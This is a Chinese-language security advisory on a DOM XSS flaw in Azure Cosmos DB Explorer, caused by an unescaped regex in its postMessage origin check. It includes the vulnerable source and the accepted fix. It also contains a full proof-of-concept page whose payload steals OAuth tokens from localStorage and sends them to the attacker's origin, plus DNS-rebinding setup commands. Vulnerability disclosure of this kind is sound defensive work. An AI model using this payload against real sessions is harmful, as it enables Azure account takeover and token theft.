微软Azure Cosmos DB Explorer中的DOM型XSS漏洞导致账户劫持
关于DOM XSS漏洞
Azure Cosmos DB Explorer错误地接受和处理来自特定域的跨域消息。远程攻击者可以通过跨域消息传递DOM型XSS有效载荷,从而接管受害者的Azure用户账户。
完整技术细节 - 研究人员视角
根因分析是在发现漏洞时使用Azure/cosmos-explorer存储库的最新变更集(d1587ef)进行的。
不正确的来源检查
来自/src/ConfigContext.ts的相关易受攻击代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
let configContext: Readonly<ConfigContext> = {
platform: Platform.Portal,
allowedParentFrameOrigins: [
`^https:\\/\\/cosmos\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*portal\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*portal\\.microsoftazure.de$`,
`^https:\\/\\/[\\.\\w]*ext\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*\\.ext\\.microsoftazure\\.de$`,
`^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$`, // 易受攻击
],
...
}
|
注意configContext.allowedParentFrameOrigins在/src/Utils/MessageValidation.ts中使用,其中执行来源检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
export function isInvalidParentFrameOrigin(event: MessageEvent): boolean {
return !isValidOrigin(configContext.allowedParentFrameOrigins, event);
}
function isValidOrigin(allowedOrigins: string[], event: MessageEvent): boolean {
const eventOrigin = (event && event.origin) || "";
const windowOrigin = (window && window.origin) || "";
if (eventOrigin === windowOrigin) {
return true;
}
for (const origin of allowedOrigins) {
const result = new RegExp(origin).test(eventOrigin);
if (result) {
return true;
}
}
console.error(`Invalid parent frame origin detected: ${eventOrigin}`);
return false;
}
|
观察到最后一个正则表达式(^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$)不正确,因为元字符(例如在正则表达式中,字符.匹配任何字符)没有正确转义。
这意味着以下域也被错误地视为跨域消息的可信来源:
1
2
3
4
5
|
https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de
https://cosmos-db-dataexplorer-germanycentralBazurewebsites.de
...
https://cosmos-db-dataexplorer-germanycentralYazurewebsites.de
https://cosmos-db-dataexplorer-germanycentralZazurewebsites.de
|
因此,攻击者可以购买上述任何域,向cosmos.azure.com发送跨域消息,这些消息将被接受和处理。
DOM型XSS
来自/src/Controls/Heatmap/Heatmap.ts的相关易受攻击代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
export function handleMessage(event: MessageEvent) {
if (isInvalidParentFrameOrigin(event)) {
return;
}
if (typeof event.data !== "object" || event.data["signature"] !== "pcIframe") {
return;
}
if (
typeof event.data.data !== "object" ||
!("chartData" in event.data.data) ||
!("chartSettings" in event.data.data)
) {
return;
}
Plotly.purge(Heatmap.elementId);
document.getElementById(Heatmap.elementId)!.innerHTML = "";
const data = event.data.data;
const chartData: DataPayload = data.chartData;
const chartSettings: HeatmapCaptions = data.chartSettings;
const chartTheme: PortalTheme = data.theme;
if (Object.keys(chartData).length) {
new Heatmap(chartData, chartSettings, chartTheme).drawHeatmap();
} else {
const chartTitleElement = document.createElement("div");
chartTitleElement.innerHTML = data.chartSettings.chartTitle; // XSS
chartTitleElement.classList.add("chartTitle");
const noDataMessageElement = document.createElement("div");
noDataMessageElement.classList.add("noDataMessage");
const noDataMessageContent = document.createElement("div");
noDataMessageContent.innerHTML = data.errorMessage; // XSS
noDataMessageElement.appendChild(noDataMessageContent);
if (isDarkTheme(chartTheme)) {
chartTitleElement.classList.add("dark-theme");
noDataMessageElement.classList.add("dark-theme");
noDataMessageContent.classList.add("dark-theme");
}
document.getElementById(Heatmap.elementId)!.appendChild(chartTitleElement);
document.getElementById(Heatmap.elementId)!.appendChild(noDataMessageElement);
}
}
window.addEventListener("message", handleMessage, false);
|
观察到event.data.chartSettings.chartTitle和event.data.errorMessage可能导致DOM型XSS。在这种情况下,满足来源检查的攻击者可以发送跨域消息,在cosmos.azure.com上执行DOM型XSS。
检查Content-Security-Policy头,可以确认允许内联脚本:
1
|
content-security-policy: frame-ancestors 'self' portal.azure.com *.portal.azure.com portal.azure.us portal.azure.cn portal.microsoftazure.de df.onecloud.azure-test.net
|
当这些漏洞被串联在一起时,攻击者可以在cosmos.azure.com上触发DOM型XSS,以窃取Azure用户的OAuth令牌。
DOM XSS漏洞的概念验证
此概念验证假设使用域cosmos-db-dataexplorer-germanycentralAazurewebsites.de。但是,请注意,满足来源检查的任何其他域也可以工作。
设置环境
选项1:购买域cosmos-db-dataexplorer-germanycentralAazurewebsites.de并托管以下恶意网页:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<html>
<head>
<title>1-click XSS on cosmos.azure.com</title>
<script>
var w;
var attacker_origin = 'https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de/';
function xss() {
w = window.open('https://cosmos.azure.com/heatmap.html')
setTimeout(function() {
w.postMessage({signature:'pcIframe', data:{chartData:{}, chartSettings:{chartTitle:`<img src onerror="
localStorageJSON = JSON.stringify(Object.assign({}, localStorage));
window.opener.postMessage({exfil: localStorageJSON}, '${attacker_origin}');
alert('XSS on ' + document.domain);
">`}}}, 'https://cosmos.azure.com');
}, 2000);
}
window.onmessage = function(event) {
if (event.origin === 'https://cosmos.azure.com') {
document.getElementById("exfil").innerText = event.data.exfil;
}
}
</script>
</head>
<body>
<h1>1-click XSS on cosmos.azure.com</h1>
<button onclick="xss()">1-click XSS</button>
<br /><br />
Exfiltrated OAuth tokens:<br />
<textarea id="exfil" rows="45" cols="100" spellcheck="false"></textarea>
</body>
</html>
|
选项2:不购买域,执行以下命令进行DNS重绑定,并使用自签名TLS证书在本地启动HTTPS Web服务器。请注意,还需要将自签名根CA证书(提供为root_ca.crt)导入到Web浏览器中。
1
2
3
|
$ echo '127.0.0.1 cosmos-db-dataexplorer-germanycentralAazurewebsites.de' | sudo tee /etc/hosts
$ unzip poc.zip -d ./poc/ && cd ./poc/;
$ sudo python3 serve.py
|
受害者如何被入侵
- 导航到
https://cosmos.azure.com/并登录Azure账户。
- 导航到托管恶意网页的
https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de,然后单击"1-click XSS"按钮。
- 观察到存储在
localStorage中的OAuth令牌在警报窗口中显示。
建议
为了消除漏洞,请确保正确转义正则表达式元字符。此建议的修复已被Microsoft接受并在PR #1239中使用,该修复于2022年3月26日提交到代码库中。
例如:
^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$
应正确转义为:
^https:\\/\\/cosmos-db-dataexplorer-germanycentral\\.azurewebsites\\.de$
最终思考
在此特定事件中,远程攻击者可以接管受害用户的Azure会话,并进行后期利用,以访问和破坏其云资产。所有这些都是因为一个未转义的点!
一般来说,在使用window.postMessage()时,必须注意确保存在并正确执行来源检查。
如上所述,对消息发送者来源的不正确验证可能在某些场景中允许跨站脚本攻击,例如使用来自受信任外部来源的HTML响应并将其附加到当前网页的DOM树中。